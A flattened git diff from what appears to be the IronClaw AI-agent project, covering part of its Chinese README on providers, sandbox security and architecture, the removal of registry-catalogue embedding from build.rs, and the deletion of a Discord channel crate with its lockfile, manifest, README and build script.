常用选项包括 **OpenRouter**(300+ 模型)、**Together AI**、**Fireworks AI**、**Ollama**(本地部署)以及自托管服务器如 **vLLM** 或 **LiteLLM**。
|
||||
|
||||
在向导中选择 *"OpenAI-compatible"*,或直接设置环境变量:
|
||||
|
||||
```env
|
||||
LLM_BACKEND=openai_compatible
|
||||
LLM_BASE_URL=https://openrouter.ai/api/v1
|
||||
LLM_API_KEY=sk-or-...
|
||||
LLM_MODEL=anthropic/claude-sonnet-4
|
||||
```
|
||||
|
||||
详见 [docs/LLM_PROVIDERS.md](docs/LLM_PROVIDERS.md) 获取完整的提供商指南。
|
||||
|
||||
## 安全机制
|
||||
|
||||
IronClaw 实现了纵深防御策略来保护你的数据并防止滥用。
|
||||
|
||||
### WASM 沙箱
|
||||
|
||||
所有不受信任的工具都在隔离的 WebAssembly 容器中运行:
|
||||
|
||||
- **基于能力的权限** — 明确授权 HTTP、密钥、工具调用等能力
|
||||
- **端点白名单** — HTTP 请求仅限已批准的主机和路径
|
||||
- **凭据注入** — 密钥在宿主边界注入,永远不会暴露给 WASM 代码
|
||||
- **泄露检测** — 扫描请求和响应以防止密钥外泄
|
||||
- **速率限制** — 每个工具独立的请求限制,防止滥用
|
||||
- **资源限制** — 内存、CPU 和执行时间约束
|
||||
|
||||
```
|
||||
WASM ──► 白名单 ──► 泄露扫描 ──► 凭据 ──► 执行 ──► 泄露扫描 ──► WASM
|
||||
验证器 (请求) 注入器 请求 (响应)
|
||||
```
|
||||
|
||||
### 提示注入防御
|
||||
|
||||
外部内容需通过多个安全层:
|
||||
|
||||
- 基于模式的注入尝试检测
|
||||
- 内容清理和转义
|
||||
- 带严重级别的策略规则(阻止/警告/审核/清理)
|
||||
- 工具输出包装,确保安全的 LLM 上下文注入
|
||||
|
||||
### 数据保护
|
||||
|
||||
- 所有数据存储在本地 PostgreSQL 数据库中
|
||||
- 密钥使用 AES-256-GCM 加密
|
||||
- 无遥测、无分析、无数据共享
|
||||
- 所有工具执行的完整审计日志
|
||||
|
||||
## 系统架构
|
||||
|
||||
```
|
||||
┌────────────────────────────────────────────────────────────────┐
|
||||
│ 渠道 │
|
||||
│ ┌──────┐ ┌──────┐ ┌─────────────┐ ┌─────────────┐ │
|
||||
│ │ REPL │ │ HTTP │ │ WASM 渠道 │ │ Web 网关 │ │
|
||||
│ └──┬───┘ └──┬───┘ └──────┬──────┘ │ (SSE + WS) │ │
|
||||
│ │ │ │ └──────┬──────┘ │
|
||||
│ └─────────┴──────────────┴────────────────┘ │
|
||||
│ │ │
|
||||
│ ┌─────────▼─────────┐ │
|
||||
│ │ 代理循环 │ 意图路由 │
|
||||
│ └────┬──────────┬───┘ │
|
||||
│ │ │ │
|
||||
│ ┌──────────▼────┐ ┌──▼───────────────┐ │
|
||||
│ │ 调度器 │ │ 定时任务引擎 │ │
|
||||
│ │ (并行任务) │ │(cron, 事件, Webhook)│ │
|
||||
│ └──────┬────────┘ └────────┬─────────┘ │
|
||||
│ │ │ │
|
||||
│ ┌─────────────┼────────────────────┘ │
|
||||
│ │ │ │
|
||||
│ ┌───▼─────┐ ┌────▼────────────────┐ │
|
||||
│ │ 本地 │ │ 编排器 │ │
|
||||
│ │ 工作器 │ │ ┌───────────────┐ │ │
|
||||
│ │(进程内) │ │ │ Docker 沙箱 │ │ │
|
||||
│ └───┬─────┘ │ │ 容器 │ │ │
|
||||
│ │ │ │ ┌───────────┐ │ │ │
|
||||
│ │ │ │ │工作器/CC │ │ │ │
|
||||
│ │ │ │ └───────────┘ │ │ │
|
||||
│ │ │ └───────────────┘ │ │
|
||||
│ │ └─────────┬───────────┘ │
|
||||
│ └──────────────────┤ │
|
||||
│ │ │
|
||||
│ ┌───────────▼──────────┐ │
|
||||
│ │ 工具注册表 │ │
|
||||
│ │ 内置、MCP、WASM │ │
|
||||
│ └──────────────────────┘ │
|
||||
└────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### 核心组件
|
||||
|
||||
| 组件 | 用途 |
|
||||
|------|------|
|
||||
| **代理循环** | 主消息处理和任务协调 |
|
||||
| **路由器** | 分类用户意图(命令、查询、任务) |
|
||||
| **调度器** | 管理带优先级的并行任务执行 |
|
||||
| **工作器** | 执行包含 LLM 推理和工具调用的任务 |
|
||||
| **编排器** | 容器生命周期、LLM 代理、每任务认证 |
|
||||
| **Web 网关** | 浏览器 UI,含聊天、记忆、任务、日志、扩展、定时任务 |
|
||||
| **定时任务引擎** | 定时(cron)和响应式(事件、webhook)后台任务 |
|
||||
| **工作空间** | 带混合搜索的持久记忆 |
|
||||
| **安全层** | 提示注入防御和内容清理 |
|
||||
|
||||
## 使用方式
|
||||
|
||||
```bash
|
||||
# 首次设置(配置数据库、认证等)
|
||||
ironclaw onboard
|
||||
|
||||
# 启动交互式 REPL
|
||||
cargo run
|
||||
|
||||
# 启用调试日志
|
||||
RUST_LOG=ironclaw=debug cargo run
|
||||
```
|
||||
|
||||
## 开发
|
||||
|
||||
```bash
|
||||
# 格式化代码
|
||||
cargo fmt
|
||||
|
||||
# 代码检查
|
||||
cargo clippy --all --benches --tests --examples --all-features
|
||||
|
||||
# 运行测试
|
||||
createdb ironclaw_test
|
||||
cargo test
|
||||
|
||||
# 运行指定测试
|
||||
cargo test test_name
|
||||
```
|
||||
|
||||
- **Telegram 渠道**:参见 [docs/TELEGRAM_SETUP.md](docs/TELEGRAM_SETUP.md) 了解设置和私信配对。
|
||||
- **修改渠道源码**:在 `cargo build` 之前运行 `./channels-src/telegram/build.sh` 以便打包更新后的 WASM。
|
||||
|
||||
## OpenClaw 传承
|
||||
|
||||
IronClaw 是受 [OpenClaw](https://github.com/openclaw/openclaw) 启发的 Rust 重新实现。参见 [FEATURE_PARITY.md](FEATURE_PARITY.md) 了解完整的功能追踪矩阵。
|
||||
|
||||
主要差异:
|
||||
|
||||
- **Rust vs TypeScript** — 原生性能、内存安全、单一二进制文件
|
||||
- **WASM 沙箱 vs Docker** — 轻量级、基于能力的安全机制
|
||||
- **PostgreSQL vs SQLite** — 生产级持久化存储
|
||||
- **安全优先设计** — 多层防御、凭据保护
|
||||
|
||||
## 许可证
|
||||
|
||||
可选择以下任一许可证:
|
||||
|
||||
- Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE))
|
||||
- MIT License ([LICENSE-MIT](LICENSE-MIT))
|
||||
@@ -10,17 +10,12 @@
|
||||
//! Prerequisites: rustup target add wasm32-wasip2, cargo install wasm-tools
|
||||
|
||||
use std::env;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::path::PathBuf;
|
||||
use std::process::Command;
|
||||
|
||||
fn main() {
|
||||
let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap();
|
||||
let root = PathBuf::from(&manifest_dir);
|
||||
|
||||
// ── Embed registry manifests ────────────────────────────────────────
|
||||
embed_registry_catalog(&root);
|
||||
|
||||
// ── Build Telegram channel WASM ─────────────────────────────────────
|
||||
let channel_dir = root.join("channels-src/telegram");
|
||||
let wasm_out = channel_dir.join("telegram.wasm");
|
||||
|
||||
@@ -109,89 +104,3 @@ fn main() {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Collect all registry manifests into a single JSON blob at compile time.
|
||||
///
|
||||
/// Output: `$OUT_DIR/embedded_catalog.json` with structure:
|
||||
/// ```json
|
||||
/// { "tools": [...], "channels": [...], "bundles": {...} }
|
||||
/// ```
|
||||
fn embed_registry_catalog(root: &Path) {
|
||||
use std::fs;
|
||||
|
||||
let registry_dir = root.join("registry");
|
||||
|
||||
// Rerun if the bundles file changes (per-file watches for tools/channels
|
||||
// are emitted inside collect_json_files to track content changes reliably).
|
||||
println!("cargo:rerun-if-changed=registry/_bundles.json");
|
||||
|
||||
let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap());
|
||||
let out_path = out_dir.join("embedded_catalog.json");
|
||||
|
||||
if !registry_dir.is_dir() {
|
||||
// No registry dir: write empty catalog
|
||||
fs::write(
|
||||
&out_path,
|
||||
r#"{"tools":[],"channels":[],"bundles":{"bundles":{}}}"#,
|
||||
)
|
||||
.unwrap();
|
||||
return;
|
||||
}
|
||||
|
||||
let mut tools = Vec::new();
|
||||
let mut channels = Vec::new();
|
||||
|
||||
// Collect tool manifests
|
||||
let tools_dir = registry_dir.join("tools");
|
||||
if tools_dir.is_dir() {
|
||||
collect_json_files(&tools_dir, &mut tools);
|
||||
}
|
||||
|
||||
// Collect channel manifests
|
||||
let channels_dir = registry_dir.join("channels");
|
||||
if channels_dir.is_dir() {
|
||||
collect_json_files(&channels_dir, &mut channels);
|
||||
}
|
||||
|
||||
// Read bundles
|
||||
let bundles_path = registry_dir.join("_bundles.json");
|
||||
let bundles_raw = if bundles_path.is_file() {
|
||||
fs::read_to_string(&bundles_path).unwrap_or_else(|_| r#"{"bundles":{}}"#.to_string())
|
||||
} else {
|
||||
r#"{"bundles":{}}"#.to_string()
|
||||
};
|
||||
|
||||
// Build the combined JSON
|
||||
let catalog = format!(
|
||||
r#"{{"tools":[{}],"channels":[{}],"bundles":{}}}"#,
|
||||
tools.join(","),
|
||||
channels.join(","),
|
||||
bundles_raw,
|
||||
);
|
||||
|
||||
fs::write(&out_path, catalog).unwrap();
|
||||
}
|
||||
|
||||
/// Read all .json files from a directory and push their raw contents into `out`.
|
||||
fn collect_json_files(dir: &Path, out: &mut Vec<String>) {
|
||||
use std::fs;
|
||||
|
||||
let mut entries: Vec<_> = fs::read_dir(dir)
|
||||
.unwrap()
|
||||
.filter_map(|e| e.ok())
|
||||
.filter(|e| {
|
||||
e.path().is_file() && e.path().extension().and_then(|x| x.to_str()) == Some("json")
|
||||
})
|
||||
.collect();
|
||||
|
||||
// Sort for deterministic output
|
||||
entries.sort_by_key(|e| e.file_name());
|
||||
|
||||
for entry in entries {
|
||||
// Emit per-file watch so Cargo reruns when file contents change
|
||||
println!("cargo:rerun-if-changed={}", entry.path().display());
|
||||
if let Ok(content) = fs::read_to_string(entry.path()) {
|
||||
out.push(content);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Generated
-401
@@ -1,401 +0,0 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "ahash"
|
||||
version = "0.8.12"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"once_cell",
|
||||
"version_check",
|
||||
"zerocopy",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "anyhow"
|
||||
version = "1.0.102"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c"
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "2.11.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "843867be96c8daad0d758b57df9392b6d8d271134fce549de6ce169ff98a92af"
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
version = "1.0.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
|
||||
|
||||
[[package]]
|
||||
name = "discord-channel"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"serde",
|
||||
"serde_json",
|
||||
"wit-bindgen",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "equivalent"
|
||||
version = "1.0.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f"
|
||||
|
||||
[[package]]
|
||||
name = "hashbrown"
|
||||
version = "0.14.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1"
|
||||
dependencies = [
|
||||
"ahash",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "hashbrown"
|
||||
version = "0.16.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "841d1cc9bed7f9236f321df977030373f4a4163ae1a7dbfe1a51a2c1a51d9100"
|
||||
|
||||
[[package]]
|
||||
name = "heck"
|
||||
version = "0.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
|
||||
|
||||
[[package]]
|
||||
name = "id-arena"
|
||||
version = "2.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954"
|
||||
|
||||
[[package]]
|
||||
name = "indexmap"
|
||||
version = "2.13.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7714e70437a7dc3ac8eb7e6f8df75fd8eb422675fc7678aff7364301092b1017"
|
||||
dependencies = [
|
||||
"equivalent",
|
||||
"hashbrown 0.16.1",
|
||||
"serde",
|
||||
"serde_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "itoa"
|
||||
version = "1.0.17"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "92ecc6618181def0457392ccd0ee51198e065e016d1d527a7ac1b6dc7c1f09d2"
|
||||
|
||||
[[package]]
|
||||
name = "leb128"
|
||||
version = "0.2.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "884e2677b40cc8c339eaefcb701c32ef1fd2493d71118dc0ca4b6a736c93bd67"
|
||||
|
||||
[[package]]
|
||||
name = "log"
|
||||
version = "0.4.29"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
|
||||
|
||||
[[package]]
|
||||
name = "memchr"
|
||||
version = "2.8.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79"
|
||||
|
||||
[[package]]
|
||||
name = "once_cell"
|
||||
version = "1.21.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
|
||||
|
||||
[[package]]
|
||||
name = "prettyplease"
|
||||
version = "0.2.37"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "proc-macro2"
|
||||
version = "1.0.106"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934"
|
||||
dependencies = [
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quote"
|
||||
version = "1.0.44"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "21b2ebcf727b7760c461f091f9f0f539b77b8e87f2fd88131e7f1b433b3cece4"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "semver"
|
||||
version = "1.0.27"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d767eb0aabc880b29956c35734170f26ed551a859dbd361d140cdbeca61ab1e2"
|
||||
|
||||
[[package]]
|
||||
name = "serde"
|
||||
version = "1.0.228"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e"
|
||||
dependencies = [
|
||||
"serde_core",
|
||||
"serde_derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_core"
|
||||
version = "1.0.228"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad"
|
||||
dependencies = [
|
||||
"serde_derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_derive"
|
||||
version = "1.0.228"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_json"
|
||||
version = "1.0.149"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86"
|
||||
dependencies = [
|
||||
"itoa",
|
||||
"memchr",
|
||||
"serde",
|
||||
"serde_core",
|
||||
"zmij",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "smallvec"
|
||||
version = "1.15.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03"
|
||||
|
||||
[[package]]
|
||||
name = "spdx"
|
||||
version = "0.10.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c3e17e880bafaeb362a7b751ec46bdc5b61445a188f80e0606e68167cd540fa3"
|
||||
dependencies = [
|
||||
"smallvec",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "2.0.117"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unicode-ident"
|
||||
version = "1.0.24"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75"
|
||||
|
||||
[[package]]
|
||||
name = "unicode-xid"
|
||||
version = "0.2.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
|
||||
|
||||
[[package]]
|
||||
name = "version_check"
|
||||
version = "0.9.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
|
||||
|
||||
[[package]]
|
||||
name = "wasm-encoder"
|
||||
version = "0.220.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e913f9242315ca39eff82aee0e19ee7a372155717ff0eb082c741e435ce25ed1"
|
||||
dependencies = [
|
||||
"leb128",
|
||||
"wasmparser",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wasm-metadata"
|
||||
version = "0.220.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "185dfcd27fa5db2e6a23906b54c28199935f71d9a27a1a27b3a88d6fee2afae7"
|
||||
dependencies = [
|
||||
"anyhow",
|
||||
"indexmap",
|
||||
"serde",
|
||||
"serde_derive",
|
||||
"serde_json",
|
||||
"spdx",
|
||||
"wasm-encoder",
|
||||
"wasmparser",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wasmparser"
|
||||
version = "0.220.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8d07b6a3b550fefa1a914b6d54fc175dd11c3392da11eee604e6ffc759805d25"
|
||||
dependencies = [
|
||||
"ahash",
|
||||
"bitflags",
|
||||
"hashbrown 0.14.5",
|
||||
"indexmap",
|
||||
"semver",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wit-bindgen"
|
||||
version = "0.36.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6a2b3e15cd6068f233926e7d8c7c588b2ec4fb7cc7bf3824115e7c7e2a8485a3"
|
||||
dependencies = [
|
||||
"wit-bindgen-rt",
|
||||
"wit-bindgen-rust-macro",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wit-bindgen-core"
|
||||
version = "0.36.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b632a5a0fa2409489bd49c9e6d99fcc61bb3d4ce9d1907d44662e75a28c71172"
|
||||
dependencies = [
|
||||
"anyhow",
|
||||
"heck",
|
||||
"wit-parser",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wit-bindgen-rt"
|
||||
version = "0.36.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7947d0131c7c9da3f01dfde0ab8bd4c4cf3c5bd49b6dba0ae640f1fa752572ea"
|
||||
dependencies = [
|
||||
"bitflags",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wit-bindgen-rust"
|
||||
version = "0.36.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4329de4186ee30e2ef30a0533f9b3c123c019a237a7c82d692807bf1b3ee2697"
|
||||
dependencies = [
|
||||
"anyhow",
|
||||
"heck",
|
||||
"indexmap",
|
||||
"prettyplease",
|
||||
"syn",
|
||||
"wasm-metadata",
|
||||
"wit-bindgen-core",
|
||||
"wit-component",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wit-bindgen-rust-macro"
|
||||
version = "0.36.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "177fb7ee1484d113b4792cc480b1ba57664bbc951b42a4beebe573502135b1fc"
|
||||
dependencies = [
|
||||
"anyhow",
|
||||
"prettyplease",
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
"wit-bindgen-core",
|
||||
"wit-bindgen-rust",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wit-component"
|
||||
version = "0.220.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b505603761ed400c90ed30261f44a768317348e49f1864e82ecdc3b2744e5627"
|
||||
dependencies = [
|
||||
"anyhow",
|
||||
"bitflags",
|
||||
"indexmap",
|
||||
"log",
|
||||
"serde",
|
||||
"serde_derive",
|
||||
"serde_json",
|
||||
"wasm-encoder",
|
||||
"wasm-metadata",
|
||||
"wasmparser",
|
||||
"wit-parser",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wit-parser"
|
||||
version = "0.220.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ae2a7999ed18efe59be8de2db9cb2b7f84d88b27818c79353dfc53131840fe1a"
|
||||
dependencies = [
|
||||
"anyhow",
|
||||
"id-arena",
|
||||
"indexmap",
|
||||
"log",
|
||||
"semver",
|
||||
"serde",
|
||||
"serde_derive",
|
||||
"serde_json",
|
||||
"unicode-xid",
|
||||
"wasmparser",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerocopy"
|
||||
version = "0.8.39"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "db6d35d663eadb6c932438e763b262fe1a70987f9ae936e60158176d710cae4a"
|
||||
dependencies = [
|
||||
"zerocopy-derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerocopy-derive"
|
||||
version = "0.8.39"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4122cd3169e94605190e77839c9a40d40ed048d305bfdc146e7df40ab0f3e517"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zmij"
|
||||
version = "1.0.21"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa"
|
||||
@@ -1,25 +0,0 @@
|
||||
[package]
|
||||
name = "discord-channel"
|
||||
version = "0.2.0"
|
||||
edition = "2021"
|
||||
description = "Discord channel for IronClaw"
|
||||
license = "MIT OR Apache-2.0"
|
||||
publish = false
|
||||
|
||||
[dependencies]
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
serde_json = "1.0"
|
||||
wit-bindgen = "0.36"
|
||||
|
||||
[lib]
|
||||
crate-type = ["cdylib"]
|
||||
|
||||
[profile.release]
|
||||
strip = true
|
||||
opt-level = "s"
|
||||
lto = true
|
||||
codegen-units = 1
|
||||
|
||||
|
||||
|
||||
[workspace]
|
||||
@@ -1,121 +0,0 @@
|
||||
# Discord Channel for IronClaw
|
||||
|
||||
WASM channel for Discord integration - handle slash commands and button interactions via webhooks.
|
||||
|
||||
## Features
|
||||
|
||||
- **Slash Commands** - Process Discord slash commands
|
||||
- **Button Interactions** - Handle button clicks
|
||||
- **Thread Support** - Respond in threads
|
||||
- **DM Support** - Handle direct messages
|
||||
|
||||
## Setup
|
||||
|
||||
1. Create a Discord Application at <https://discord.com/developers/applications>
|
||||
2. Create a Bot and get the token
|
||||
3. Set up Interactions URL to point to your IronClaw instance
|
||||
4. Copy the Application ID and Public Key
|
||||
5. Store in IronClaw secrets:
|
||||
|
||||
```bash
|
||||
ironclaw secret set discord_bot_token YOUR_BOT_TOKEN
|
||||
```
|
||||
|
||||
**Note:** The `discord_bot_token` secret is the only value read directly by this
|
||||
Discord channel WASM component. The `discord_app_id` and `discord_public_key`
|
||||
secrets are used by the IronClaw host (for example, to verify Discord
|
||||
interaction signatures and manage slash command registration) and are not
|
||||
accessed from the WASM module itself.
|
||||
|
||||
## Discord Configuration
|
||||
|
||||
### Register Slash Commands
|
||||
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bot YOUR_BOT_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://discord.com/api/v10/applications/YOUR_APP_ID/commands \
|
||||
-d '{
|
||||
"name": "ask",
|
||||
"description": "Ask the AI agent",
|
||||
"options": [{
|
||||
"name": "question",
|
||||
"description": "Your question",
|
||||
"type": 3,
|
||||
"required": true
|
||||
}]
|
||||
}'
|
||||
```
|
||||
|
||||
### Set Interactions Endpoint
|
||||
|
||||
In your Discord app settings, set:
|
||||
|
||||
- Interactions Endpoint URL: `https://your-ironclaw.com/webhook/discord`
|
||||
|
||||
## Usage Examples
|
||||
|
||||
### Slash Command
|
||||
|
||||
User types: `/ask question: What is the weather?`
|
||||
|
||||
The agent receives:
|
||||
|
||||
```text
|
||||
User: @username
|
||||
Content: /ask question: What is the weather?
|
||||
```
|
||||
|
||||
### Button Click
|
||||
|
||||
When a user clicks a button in a message, the agent receives:
|
||||
|
||||
```text
|
||||
User: @username
|
||||
Content: [Button clicked] Original message content
|
||||
```
|
||||
|
||||
## Error Handling
|
||||
|
||||
If an internal error occurs (e.g., metadata serialization failure), the tool attempts to send an ephemeral message to the user:
|
||||
|
||||
```text
|
||||
❌ Internal Error: Failed to process command metadata.
|
||||
```
|
||||
|
||||
Check the host logs for detailed error information.
|
||||
|
||||
## Advanced Usage
|
||||
|
||||
### Embeds
|
||||
|
||||
To send embeds, include an `embeds` array in the `metadata_json` field of the agent's response. The structure should match the Discord API `embed` object.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### "Invalid Signature"
|
||||
|
||||
- Check that `discord_public_key` is set correctly in IronClaw secrets.
|
||||
- This validation happens on the host before reaching the WASM.
|
||||
|
||||
### "401 Unauthorized"
|
||||
|
||||
- Check that `discord_bot_token` is set correctly in IronClaw secrets.
|
||||
- Ensure the bot is added to the server.
|
||||
|
||||
### "Interaction Failed"
|
||||
|
||||
- The interaction might have timed out (Discord requires a response within 3 seconds).
|
||||
- The `interactions_endpoint_url` might be unreachable.
|
||||
|
||||
## Building
|
||||
|
||||
```bash
|
||||
cd channels-src/discord
|
||||
cargo build --target wasm32-wasi --release
|
||||
```
|
||||
|
||||
## License
|
||||
|
||||
MIT/Apache-2.0
|
||||
@@ -1,48 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# Build the Discord channel WASM component
|
||||
#
|
||||
# Prerequisites:
|
||||
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
|
||||
# - wasm-tools for component creation: cargo install wasm-tools
|
||||
#
|
||||
# Output:
|
||||
# - discord.wasm - WASM component ready for deployment
|
||||
# - discord.capabilities.json - Capabilities file (copy alongside .wasm)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
cd "$(dirname "$0")"
|
||||
|
||||
if ! command -v wasm-tools &> /dev/null; then
|
||||
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Building Discord channel WASM component..."
|
||||
|
||||
# Build the WASM module
|
||||
cargo build --release --target wasm32-wasip2
|
||||
|
||||
# Convert to component model (if not already a component)
|
||||
# wasm-tools component new is idempotent on components
|
||||
WASM_PATH="target/wasm32-wasip2/release/discord_channel.wasm"
|
||||
|
||||
if [ -f "$WASM_PATH" ]; then
|
||||
# Create component if needed
|
||||
wasm-tools component new "$WASM_PATH" -o discord.wasm 2>/dev/null || cp "$WASM_PATH" discord.wasm
|
||||
|
||||
# Optimize the component
|
||||
